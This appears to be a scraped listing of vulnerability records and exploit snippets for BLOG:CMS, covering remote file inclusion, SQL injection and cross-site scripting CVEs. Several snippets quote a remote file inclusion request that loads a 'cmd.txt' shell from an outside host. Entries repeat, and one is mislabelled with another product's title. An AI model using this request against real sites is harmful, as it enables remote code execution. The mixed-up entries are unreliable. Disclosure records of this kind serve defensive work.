CVE-2008-0450

CVE-2008-0450 corresponds to multiple PHP remote file inclusion vulnerabilities in BLOG:CMS 4.2.1.c. The affected components are the admin side scripts (media.php and xmlrpc/server.php) and index.php, where user-controlled URLs supplied to DIR_PLUGINS and DIR_LIBS enable an attacker to include ar...

CVE-2008-0450

Multiple PHP remote file inclusion vulnerabilities in BLOG:CMS 4.2.1.c allow remote attackers to execute arbitrary PHP code via a URL in the 1 DIRPLUGINS parameter to a index.php, and the 2 DIRLIBS parameter to b media.php and c xmlrpc/server.php in admin/...

blogcms-rfi.txt

Name : BLOG:CMS 4.2.1.c DIRPLUGINS Multiple Remote File Include Download From : http://dfn.dl.sourceforge.net/sourceforge/blogcms/blogcms.4.2.1.c.7z Or Here http://blogcms.com Found By : RoMaNcYxHaCkEr We Are H-T TeaM Houssamix - ToXiC Home Page : Not Yet : Tryag.cc/cc No-Hack.net V99x.com/vb...

BLOG:CMS 4.2.1.c (DIR_PLUGINS) Multiple Remote File Include

Name : BLOG:CMS 4.2.1.c DIRPLUGINS Multiple Remote File Include Download From : http://dfn.dl.sourceforge.net/sourceforge/blogcms/blogcms.4.2.1.c.7z Or Here http://blogcms.com Found By : RoMaNcYxHaCkEr We Are H-T TeaM Houssamix - ToXiC Home Page : Not Yet : Tryag.cc/cc No-Hack.net V99x.com/vb...

Sql injection

Multiple SQL injection vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to execute arbitrary SQL commands via 1 the blogid parameter to index.php, 2 the user parameter to action.php, or 3 the field parameter to admin/plugins/table/index.php...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to inject arbitrary web script or HTML via the PATHINFO to 1 admin.php or 2 index.php in photo/...

CVE-2008-0359

Multiple cross-site scripting XSS vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to inject arbitrary web script or HTML via the PATHINFO to 1 admin.php or 2 index.php in photo/...

CVE-2008-0360

Multiple SQL injection vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to execute arbitrary SQL commands via 1 the blogid parameter to index.php, 2 the user parameter to action.php, or 3 the field parameter to admin/plugins/table/index.php...

CVE-2008-0360

Multiple SQL injection vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to execute arbitrary SQL commands via 1 the blogid parameter to index.php, 2 the user parameter to action.php, or 3 the field parameter to admin/plugins/table/index.php...

CVE-2008-0359

CVE-2008-0359 is documented as multiple cross-site scripting (XSS) vulnerabilities in BLOG:CMS 4.2.1b. The issue allows remote attackers to inject arbitrary web script or HTML by manipulating PATH_INFO for (1) admin.php or (2) index.php under the photo/ path. The connected records confirm the aff...

CVE-2008-0360

CVE-2008-0360 affects BLOG:CMS 4.2.1b and is caused by SQL injection in three inputs: blogid (index.php), user (action.php), and field (admin/plugins/table/index.php). The vulnerability can allow remote attackers to execute arbitrary SQL; the NVD entry lists a HIGH base score (7.5). Public exploi...

CVE-2008-0359

Multiple cross-site scripting XSS vulnerabilities in BLOG:CMS 4.2.1b allow remote attackers to inject arbitrary web script or HTML via the PATHINFO to 1 admin.php or 2 index.php in photo/...

CVE-2006-6552

PHP remote file inclusion vulnerability in admin/plugins/NPUserSharing.php in BLOG:CMS 4.1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the DIRADMIN parameter...

CVE-2006-6552

CVE-2006-6552 affects BLOG:CMS 4.1.3 and earlier. The vulnerability is a PHP remote file inclusion in admin/plugins/NP_UserSharing.php, allowing an attacker to execute arbitrary PHP code by supplying a URL in the DIR_ADMIN parameter. The NVD records indicate a high base score (7.5) with network a...

CVE-2006-6552

PHP remote file inclusion vulnerability in admin/plugins/NPUserSharing.php in BLOG:CMS 4.1.3 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the DIRADMIN parameter...

BLOG:CMS Remote file include Vulnerability

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

GenesisTrader v1.0 - Multiple Vulnerabilities

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

Blog:CMS Pitem SQL注入漏洞

Blog:CMS是一款基于PHP的网络日记程序。 Blog:CMS不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞进行SQL注入攻击获得敏感信息。 问题是由于多个脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 BLOG:CMS 4.1 升级到最新版本BLOG:CMS 4.1.1： http://blogcms.com/...

blogcmsremote.txt

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

Blog:CMS 4.1.3 - NP_UserSharing.php Remote File Inclusion

Blog:CMS 4.1.3 - NPUserSharing.php Remote File Inclusion BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] global $DIRADMIN; include...